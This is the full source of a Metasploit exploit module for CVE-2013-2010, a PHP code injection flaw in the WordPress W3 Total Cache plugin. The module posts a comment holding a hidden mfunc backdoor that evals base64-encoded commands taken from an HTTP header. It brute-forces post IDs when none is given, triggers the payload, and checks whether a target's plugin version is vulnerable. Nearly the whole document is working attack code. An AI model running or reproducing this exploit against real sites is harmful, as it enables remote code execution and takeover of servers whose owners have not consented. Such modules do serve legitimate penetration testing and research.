WordPress W3 Total Cache PHP Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class Metasploit3 < Msf::Exploit::Remote  
include Msf::HTTP::Wordpress  
include Msf::Exploit::Remote::HttpClient  
  
Rank = ExcellentRanking  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WordPress W3 Total Cache PHP Code Execution',  
'Description' => %q{  
This module exploits a PHP Code Injection vulnerability against WordPress plugin  
W3 Total Cache for versions up to and including 0.9.2.8. WP Super Cache 1.2 or older  
is also reported as vulnerable. The vulnerability is due to the handling of certain  
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is  
needed in order to add the malicious comment. If the POSTID option isn't specified,  
then the module will automatically find or bruteforce one. Also, if anonymous comments  
aren't allowed, then a valid username and password must be provided. In addition,  
the "A comment is held for moderation" option on WordPress must be unchecked for  
successful exploitation. This module has been tested against WordPress 3.5 and  
W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.  
},  
'Author' =>  
[  
'Unknown', # Vulnerability discovery  
'juan vazquez', # Metasploit module  
'hdm', # Metasploit module  
'Christian Mehlmauer' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-2010' ],  
[ 'OSVDB', '92652' ],  
[ 'BID', '59316' ],  
[ 'URL', 'http://wordpress.org/support/topic/pwn3d' ],  
[ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ],  
[ 'WPVDB', '6622' ]  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Payload' =>  
{  
'DisableNops' => true,  
},  
'Targets' => [ ['Wordpress 3.5', {}] ],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Apr 17 2013'  
))  
  
register_options(  
[  
OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),  
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),  
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])  
], self.class)  
  
register_advanced_options(  
[  
OptInt.new('MIN_POST_ID', [ false, 'Specify the first post_id used for bruteforce', 1]),  
OptInt.new('MAX_POST_ID', [ false, 'Specify the last post_id used for bruteforce', 1000])  
])  
end  
  
def require_auth?  
@user = datastore['USERNAME']  
@password = datastore['PASSWORD']  
  
if @user and @password and not @user.empty? and not @password.empty?  
return true  
else  
return false  
end  
end  
  
def post_comment(text)  
php_payload = "#{text}<!--mfunc if(isset($_SERVER['HTTP_SUM'])) { if (sha1($_SERVER['HTTP_SUM']) == '#{@sum}' ) { eval(base64_decode($_SERVER['HTTP_CMD'])); } } --><!--/mfunc-->"  
  
if @auth  
uri = wordpress_post_comment_auth(php_payload, @post_id, @cookie)  
else  
author = rand_text_alpha(8)  
author_email = "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com"  
author_url = rand_text_alpha(8)  
uri = wordpress_post_comment_no_auth(php_payload,  
@post_id,  
author,  
author_email,  
author_url  
)  
@unauth_cookie = wordpress_get_unauth_comment_cookies(author, author_email, author_url)  
end  
uri  
end  
  
def exploit  
unless wordpress_and_online?  
fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site")  
end  
  
@auth = require_auth?  
  
if @auth  
print_status("#{peer} - Trying to login...")  
@cookie = wordpress_login(@user, @password)  
if @cookie.nil?  
fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")  
end  
print_status("#{peer} - login successful")  
else  
print_status("#{peer} - Trying unauthenticated exploitation...")  
end  
  
if datastore['POSTID'] and datastore['POSTID'] != 0  
@post_id = datastore['POSTID']  
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")  
else  
print_status("#{peer} - Trying to get posts from feed...")  
all_posts = wordpress_get_all_blog_posts_via_feed  
# First try all blog posts provided by feed  
if all_posts  
all_posts.each do |p|  
vprint_status("#{peer} - Checking #{p}...")  
enabled = wordpress_post_comments_enabled?(p, @cookie)  
@post_id = get_post_id_from_body(enabled)  
if @post_id  
print_status("#{peer} - Found Post POST ID #{@post_id}...")  
break  
end  
end  
end  
# if nothing found, bruteforce a post id  
unless @post_id  
print_status("#{peer} - Nothing found. Trying to brute force a valid POST ID...")  
min_post_id = datastore['MIN_POST_ID']  
max_post_id = datastore['MAX_POST_ID']  
@post_id = wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, @cookie)  
if @post_id.nil?  
fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")  
else  
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")  
end  
end  
end  
  
random_test = rand_text_alpha(64)  
@sum = Rex::Text.sha1(random_test)  
  
print_status("#{peer} - Injecting the PHP Code in a comment...")  
text = Rex::Text::rand_text_alpha(10)  
post_uri = post_comment(text)  
if post_uri.nil?  
fail_with(Failure::Unknown, "#{peer} - Expected redirection not returned")  
end  
  
print_status("#{peer} - Executing the payload...")  
options = {  
'method' => 'GET',  
'uri' => post_uri,  
'headers' => {  
'Cmd' => Rex::Text.encode_base64(payload.encoded),  
'Sum' => random_test  
}  
}  
options.merge!({'cookie' => @cookie}) if @auth  
# Used to see anonymous, moderated comments  
options.merge!({'cookie' => @unauth_cookie}) if @unauth_cookie  
res = send_request_cgi(options)  
if res and res.code == 301  
fail_with(Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")  
end  
  
if res and !res.body.match(/#{Regexp.escape(text)}/)  
fail_with(Failure::Unknown, "#{peer} - Comment not in post, maybe comments are moderated")  
end  
  
end  
  
def check  
res = wordpress_and_online?  
unless res  
vprint_error("#{peer} does not seeem to be Wordpress site")  
return Exploit::CheckCode::Unknown  
end  
  
if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/  
version = $1  
if version <= "0.9.2.8"  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
if res.body and (res.body =~ /Performance optimized by W3 Total Cache/ or res.body =~ /Cached page generated by WP-Super-Cache/)  
return Exploit::CheckCode::Detected  
end  
  
return Exploit::CheckCode::Safe  
  
end  
end  
`